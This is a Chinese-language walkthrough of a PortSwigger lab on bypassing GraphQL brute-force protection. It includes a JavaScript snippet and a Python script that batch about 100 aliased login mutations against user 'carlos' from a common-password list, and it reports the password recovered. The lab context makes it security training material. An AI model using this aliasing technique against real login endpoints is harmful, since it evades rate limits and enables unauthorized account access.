从业者-绕过GraphQL暴力破解保护
# 实验室:绕过GraphQL暴力破解保护
# 题目
此实验室的用户登录机制由 GraphQL API 提供支持。API 端点有一个速率限制器,如果它在短时间内 从同一来源接收到太多请求,则会返回错误。
若要解决实验室问题,请对登录机制暴力破解并以carlos
身份登录。使用身份验证实验室中提供的密码列表 (opens new window)作为密码源。
我们建议你在尝试此实验之前安装 InQL 扩展。InQL 可以更轻松地在 Repeater 中修改 GraphQL 查询,并使你能够扫描 API 模式信息。
有关使用 InQL 的更多信息,请参阅在 Burp Suite 中使用 GraphQL (opens new window)。
提示
本实验要求你创建一个大型请求,该请求使用别名同时发送多个登录尝试。由于手动创建此请求可能很耗时,因此建议使用脚本来生成请求。
以下示例 JavaScript 构造了一个与身份验证实验室密码列表相对应的别名列表,并将请求复制到剪贴板。要运行此脚本,请执行以下操作:
- 在 Burp 的浏览器中打开实验室。
- 右键单击页面并选择检查。
- 选择控制台选项卡。
- 粘贴脚本,然后按 Enter 键。
然后,你可以在 Repeater 中使用生成的别名来制作请求。
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
2
3
4
5
6
- name: 实验室-从业者
desc: 绕过GraphQL暴力破解保护 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个博客站点。
启用 BurpSuite 代理并刷新网页,捕获有关于 GraphQL 的查询请求。
捕获到 GraphQL 查询请求后,右键数据包并选择 “Generate queries with InQL Scanner”,将数据包转发至 InQL 扩展,自动探测 GraphQL API 端点的内省,以获取 API 端点的模式信息。
在 InQL 中查看目标站点的模式信息,发现变更对象login
,该对象带有一个LoginInput
参数。
我们不用自己构造参数,只需要访问登录界面,捕获一个登录请求数据包即可。
如果在短时间内发送多个登录尝试,则会被禁止登录 1 分钟。
# 使用题目中提供的JS脚本
题目中提供了一段 JavaScript,在浏览器中运行这段代码,即可获得一大串使用了不同别名的login
对象:
bruteforce0:login(input:{password: "123456", username: "carlos"}) {
token
success
}
bruteforce1:login(input:{password: "password", username: "carlos"}) {
token
success
}
bruteforce2:login(input:{password: "12345678", username: "carlos"}) {
token
success
}
......省略
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
将 100 个使用了别名的对象粘贴到 “GraphQL” 选项卡中原有login
对象的下方,然后发送请求。
可以看到大量一样的数据,它们是对不同login
对象的响应。
查找关键字true
,对应别名 “68”,找到请求对象发现密码为777777
。
# 自己编写Python脚本
这么简单就完成了实验,当然不行了。我试着自己编写了一个 Python 脚本,也可以用于生成别名对象:
#!/usr/bin/env python3
passwords = ['123456', 'password', '12345678', 'qwerty', '123456789', '12345', '1234', '111111', '1234567', 'dragon', '123123', 'baseball', 'abc123', 'football', 'monkey', 'letmein', 'shadow', 'master', '666666', 'qwertyuiop', '123321', 'mustang', '1234567890', 'michael', '654321', 'superman', '1qaz2wsx', '7777777', '121212', '000000', 'qazwsx', '123qwe', 'killer', 'trustno1', 'jordan', 'jennifer', 'zxcvbnm', 'asdfgh', 'hunter', 'buster', 'soccer', 'harley', 'batman', 'andrew', 'tigger', 'sunshine', 'iloveyou', '2000', 'charlie', 'robert', 'thomas', 'hockey', 'ranger', 'daniel', 'starwars', 'klaster', '112233', 'george', 'computer', 'michelle', 'jessica', 'pepper', '1111', 'zxcvbn', '555555', '11111111', '131313', 'freedom', '777777', 'pass', 'maggie', '159753', 'aaaaaa', 'ginger', 'princess', 'joshua', 'cheese', 'amanda', 'summer', 'love', 'ashley', 'nicole', 'chelsea', 'biteme', 'matthew', 'access', 'yankees', '987654321', 'dallas', 'austin', 'thunder', 'taylor', 'matrix', 'mobilemail', 'mom', 'monitor', 'monitoring', 'montana', 'moon', 'moscow']
field = '''carsaid{index}:login(input: {{username: "carlos", password: "{password}"}}) {{
token
success
}}'''
f = open('./payload.txt', 'w', encoding='utf-8')
for index in range(len(passwords)):
# print(field.format(index=index, password=passwords[index]))
f.write(field.format(index=index, password=passwords[index]))
f.write('\n\n')
f.close()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
运行以上脚本之后,会在当前目录下创建一个payload.txt
文件,其中包含了完成实验所需要的login
别名对象。
这和题目中提供的 JavaScript 脚本相比,效果是一样的。
复制由我脚本生成的 100 个别名对象,然后粘贴并发送请求。
成功发现条目 “68” 并获得密码777777
。
访问登录界面,输入受害用户名carlos
和所发现的密码777777
进行登录。
登录成功,实验完成。
# 相似的漏洞
这个漏洞让我想起了身份验证主题中,一个名为暴力破解防护-一个请求多个凭据 (opens new window)的实验室。
该漏洞可以通过 JSON 中的数组来传递多个凭据。